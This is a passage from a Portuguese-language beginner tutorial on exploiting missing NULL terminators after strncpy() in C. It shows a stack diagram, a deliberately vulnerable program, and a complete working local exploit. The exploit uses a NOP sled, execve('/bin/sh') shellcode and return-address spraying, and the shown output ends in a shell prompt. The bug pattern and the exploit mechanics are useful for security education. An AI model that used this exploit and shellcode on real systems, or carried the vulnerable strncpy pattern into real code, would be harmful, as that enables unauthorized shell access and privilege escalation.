caracter NULL como esperava. Com menos de 8 caracteres, poderiamos ter:kimera3:/work/testes# ./b2 NashBuffer2: Nashkimera3:/work/testes# ./b2 NashLeoBuffer2: NashLeoOu seja, a execucao e impressao em modo normal e esperado, ja que temos um NULL na string indicando o termino dela. O stack nesse caso iria parecer como:Memoria Alta || ---------------->[Topo do Stack] || ---------------->[ 'N' (buffer2 - 0) ] || ----------------> [ 'a' (buffer2 - 1) ] || ----------------> [ 's' (buffer2 - 2) ] || ----------------> [ 'h' (buffer2 - 3) ] || ---------------->[ 'L' (buffer2 - 4) ] || ----------------> [ 'e' (buffer2 - 5) ] || ---------------->[ 'o' (buffer2 - 6) ] || ----------------> [ 'n' (buffer2 - 7) ] || ----------------> [ 'N' (buffer1 - 0) ] || ----------------> [ 'a' (buffer1 - 1) ] || ---------------->[ 's' (buffer1 - 2) ] || ----------------> [ 'h' (buffer1 - 3) ] || ----------------> [ 'L' (buffer1 - 4) ] || ----------------> [ 'e' (buffer1 - 5) ] || ----------------> [ 'o' (buffer1 - 6) ] || ---------------->[ 'n' (buffer1 - 7) ] || ---------------->[ 'U' (buffer1 - 8) ] || ----------------> [ 'n' (buffer1 - 9) ] || ---------------->[ 's' (buffer1 - 10) ] || ---------------->[ 'e' (buffer1 - 11) ] || ----------------> [ 'k' (buffer1 - 12) ] || ----------------> [ 0x00 (buffer1 - 13) ] || || ... \/Como podemos ver, este problema eh real e pode ser exploitado. Veremoscomo na secao abaixo.A ExploitacaoEste problema pode ser exploitado de inumeras maneiras. Dependendo do nivel do atacante, ele pode se aproveitar ate mesmo do exemplo inicial postado neste documento. Como este e todos os meus documentos visam NewBies, veremos inicialmente o exemplo mais trivial de se exploitar este problema.Como vimos no exemplo acima, strlen() tende a ser maior do que o esperado quando enchemos um buffer e strncpy() nao encontra um NULLinteracao de funcoes.Vejamos abaixo uma possivel implicacao disso: /* Exemplo inicial de programa vulneravel * Documento sobre problemas com memoria adjacente * Nash Leon - nashleon@yahoo.com.br. *#include <unistd.h>int bugada(char *buffer);int main(int argc,char *argv[]){char buf1[512];char buf2[256];strncpy(buf2,argv[1],sizeof(buf2));strncpy(buf1,argv[2],sizeof(buf1));bugada(buf2);return 0;} int bugada(char *buffer){char buf3[300];int i;/* note que buf3 suporta 300 bytes enquando * buf2(buffer) teoricamente deveria conter no maximo * 256. */ for(i = 0; i < strlen(buffer); i++){ buf3[i] = buffer[i];}}#include <stdio.h> Para exploitarmos este programa, nao tem muito segredo. Vamos encher o primeiro buffer com NOPs e o nosso shellcode, e o segundo apenas com o endereco de retorno. Existem inumeros esquemas em cima disso, em alguns casos, partindo o shellcode ou manipulando NOPs, enfim, vejamos o exploit abaixo:/* Primeiro exemplo de exploit para* strcnpy() - Espaco de Memoria Adjacente.* Desenvolvido por Nash Leon p/ tutorial.* nashleon@yahoo.com.br */#include <stdio.h>#include <unistd.h>#include <stdlib.h>#include <string.h>#define LENBUFF1 256#define LENBUFF2 512/* Shellcode Padrao */char shellcode[] = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/bin/sh";/* Captura o Stack Pointer */unsigned long get_sp(void){ __asm__("movl %esp,%eax");}int main(int argc,char *argv[]){char buff1[LENBUFF1];char buff2[LENBUFF2];int i, offset = 0;unsigned long retaddr;if(argc < 2){printf("Uso: %s <offset>\n",argv[0]);exit(0);}offset = atoi(argv[1]);memset(buff1,0x90,sizeof(buff1));memcpy(buff1+100,shellcode,strlen(shellcode));retaddr = get_sp() + offset;for(i=0; i< LENBUFF2; i+=4){ buff2[i]=(retaddr&0x000000ff); buff2[i+1]=(retaddr&0x0000ff00)>>8; buff2[i+2]=(retaddr&0x00ff0000)>>16; buff2[i+3]=(retaddr&0xff000000)>>24; }printf("Usando Retorno: 0x%x\n", retaddr);execl("./v","./v",buff1,buff2,NULL);}Vamos executar ele, entao:kimera3:/work/testes# ./ev 150Usando Retorno: 0xbffff7f2Segmentation fault (core dumped)kimera3:/work/testes# ./ev 155Usando Retorno: 0xbffff7f7sh-2.03#Como podemos ver,